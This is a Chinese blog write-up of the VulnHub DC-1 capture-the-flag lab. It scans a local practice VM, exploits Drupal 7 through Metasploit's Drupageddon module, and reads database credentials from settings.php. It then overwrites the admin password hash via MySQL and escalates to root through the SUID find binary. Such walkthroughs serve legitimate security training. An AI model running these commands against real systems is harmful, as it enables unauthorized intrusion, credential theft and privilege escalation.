DC-1
环境搭建
访问 https://vulnhub.com ,然后搜索 DC,点入后可以看到对靶机的介绍
下载镜像文件。用 VM 打开,把网络模式改为 nat 模式。
然后开启虚拟机。
靶机渗透
信息搜集
IP 探测
先查看靶机 ip 是什么,arp-scan
,nmap
都行
arp-scan -l
nmap -sn 192.168.179.0/24
#探测主机存活(这里是C段扫描),-sP 已经被 -sn 替代 都是通过ping进行主机探测
多出来的 ip 是 192.168.179.132
,所以靶机 ip 就是 192.168.179.132
。
端口探测
nmap -sT --min-rate 10000 -p- 192.168.179.132
#用-sT方式进行端口扫描,默认的是-sS,-sS是半开放扫描,发送SYN,如果返回SYN/ACK那么就端口开启,返回RST就是端口关闭,速度更快,而-sT是完整的扫描,三次握手,更精确,但速度相对较慢,所以这里加了个--min-rate指每秒最少发包数,这里指定最慢每秒发10000个包,使速度有保障。
#-sT不只是更精确,有些防火墙会对SYN半扫描进行过滤,所以一般-sT更好
#-p-就是指定扫描端口范围,而-是简化的指定1到65535端口的扫描(如果不指定,nmap默认只扫描1000个常用端口)
开放了 4 个端口,111 和 43600 比较陌生,而且 43600 还是 unknown。接下来进行端口详细信息扫描,
nmap -sT -sV -sC -O -p22,80,111,43600 192.168.179.132
#-sT上面说了完整扫描,三次握手,-sV扫描端口服务及其版本,-sC用namp默认脚本 -O系统
同时进行 udp 端口扫描
nmap -sU --top-ports 20 192.168.179.132
#-sU UDP 扫描(原理网上搜)
#--top-ports 扫描nmap-services中的前多少个端口
漏洞脚本扫描也挂上(反正详细扫描一般扫很久)
nmap --script=vuln -p22,80,111,43600 192.168.179.132
#--script=选的脚本,vuln是namp默认漏洞脚本
结果分别是
说实话 udp 扫出来我也不会看,而且这里也没有明确的 open 端口,先不管。先分析一手端口详细信息扫描结果。
22 端口的 ssh 服务版本是OpenSSH 6.0p1 Debian 4+deb7u7
,80 端口的web 服务使用的是 CMS 是 Drupal 7
。111 端口的 rpcbind 不清楚是什么服务,搜索一番感觉也不是很好利用,先不管,等走投无路了再来看。 43600 端口依然不知道是什么服务。
再看一下漏洞脚本扫描结果
全部都是 web 服务的漏洞,给了个 cve,然后就是 csrf 漏洞,http-enum 枚举的意思,枚举了一些可以访问的目录。
漏洞利用
访问 80 端口看看。
大概就长这样,有个登录框,先去看看刚刚的 cve-2014-3704 是什么。
本来想利用该 cve 进行 sql 注入得到账号密码,结果没成功。
查数据库
查表名(没加 where)
加上 where table_schema='drupaldb'
条件,直接就给返回登录页面了,也不像是长度限制呀,怪。
后多次尝试后无果,看见别的师傅用的是该 CMS 的 2018 年的漏洞。工具Metasploit 寻找现成脚本。
msfconsole
然后执行
search Drupal
嘶~,这里也有 2014 的哪个 sql 漏洞,贼心不死,再试试这个 cve,
use exploit/multi/http/drupal_drupageddon
设置地址
set RHOSTS 192.168.179.132
最后执行 run
,攻击成功
获取shell
输入 shell 进入 linux 的 shell,然后执行下面命令获取交互式 shell
python -c 'import pty; pty.spawn("/bin/bash")'
得到第一个 flag。
说什么配置文件,百度知道 Drupal 配置文件是 settings.php
(其实是直接看师傅们的文章),查看得到第二个 flag。
翻译一手
懂不起,看到配置文件中给了 mysql 数据库的账号密码,
数据库渗透
登录 mysql 数据库
mysql -udbuser -pR0ck3t
查看一波表名
挺多的,直接看可疑的 user 表
select * from users;
只看上面两个账户就行,下面两个是前面测试随便注册的。
| admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR |
| Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg |
不过密码是密文,并且该加密方式还是 Drupal 自己定义的。参考大佬文章,需要找到加密脚本随便加密一个已知密码,把 admin 的密码进行更改。
参考:忘记Drupal的管理员密码的解决办法 | Drupal China
php /var/www/scripts/password-hash.sh 123456
然后登录数据更改密码
use drupaldb;update users set pass = "$S$DXpcGhq073a54yB5A/ZhZtyo7RHVdfUYUq9P0zToWku6zxl8Ixw1" where name = 'admin';
知道账户密码后直接登录后台。
在后台发现第三个 flag。
读取/etc/passwd 文件。但是没有权限读取/etc/shadow
看到 flag4 用户主目录是/home/flag4,cd 到该目录下看看
发现第四个 flag,读取
需要到/root 目录,但是提示权限不够,看来需要提到 root 权限。
提权(suid)
先搜索具备 SUID 权限的文件
find / -perm -u=s -type f 2>/dev/null
看见有 find ,
那么直接 find 提权
find / -name index.php -exec "/bin/sh" \;
提权成功,接下来直接获取最后一个 flag
至此完结撒花
标签:渗透,端口,179.132,扫描,DC,192.168,sT,nmap,靶机 From: https://www.cnblogs.com/gaorenyusi/p/18322457